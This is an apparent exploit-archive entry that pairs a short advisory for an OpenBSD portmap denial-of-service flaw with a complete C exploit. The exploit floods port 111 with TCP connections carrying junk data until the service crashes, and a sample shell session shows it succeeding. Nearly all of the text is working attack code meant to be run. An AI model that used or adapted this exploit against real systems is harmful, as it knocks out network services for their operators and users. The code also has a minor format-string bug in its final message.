OpenBSD 4.x – Portmap Remote Denial of Service
// source: https://www.securityfocus.com/bid/56671/info OpenBSD is prone to a remote denial-of-service vulnerability. Successful exploits may allow the attacker to cause the application to crash, resulting in denial-of-service conditions. OpenBSD versions prior to 5.2 are vulnerable. /* * authors: 22733db72ab3ed94b5f8a1ffcde850251fe6f466 * 6e2d3d47576f746e9e65cb4d7f3aaa1519971189 * c8e74ebd8392fda4788179f9a02bb49337638e7b * * greetz: 43c86fd24bd63b100891ec4b861665e97230d6cf * e4c0f3f28cf322779375b71f1c14d6f8308f789d * 691cb088c45ec9e31823ca7ab0da8b4cf8079baf * b234a149e7ef00abc0f2ec7e6cf535ef4872eabc * * * -bash-4.2$ uname -a * OpenBSD obsd.my.domain 5.1 GENERIC#160 i386 * -bash-4.2$ id * uid=32767(nobody) gid=32767(nobody) groups=32767(nobody) * -bash-4.2$ netstat -an -f inet | grep 111 * tcp 0 0 127.0.0.1.111 *.* LISTEN * tcp 0 0 *.111 *.* LISTEN * udp 0 0 127.0.0.1.111 *.* * udp 0 0 *.111 *.* * -bash-4.2$ gcc openbsd_libc_portmap.c * -bash-4.2$ ./a.out * [+] This code doesn't deserve 1337 status output. * [+] Trying to crash portmap on 127.0.0.1:111 * [+] 127.0.0.1:111 is now down. * */ #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <arpa/inet.h> #define HOST "127.0.0.1" #define PORT 111 #define LOOP 0x100 int main(void) { int s, i; struct sockaddr_in saddr; printf("[+] This code doesn't deserve 1337 status output.\n"); printf("[+] Trying to crash portmap on %s:%d\n", HOST, PORT); saddr.sin_family = AF_INET; saddr.sin_port = htons(PORT); saddr.sin_addr.s_addr = inet_addr(HOST); s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(connect(s, (struct sockaddr *) &saddr, sizeof(struct sockaddr_in)) == -1) { printf("[-] %s:%d is already down.\n", HOST, PORT); return EXIT_FAILURE; } /* # of iteration needed varies but starts working for > 0x30 */ for(i=0; i < LOOP; ++i) { s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); connect(s, (struct sockaddr *) &saddr, sizeof(struct sockaddr_in)); send(s, "8========@", 10, 0); } if(connect(s, (struct sockaddr *) &saddr, sizeof(struct sockaddr_in)) == -1) printf("[+] %s:%d is now down.\n", HOST, PORT); else printf("[-] %s:%d is still listening. Try to increase loop iterations...\n"); return EXIT_SUCCESS; } |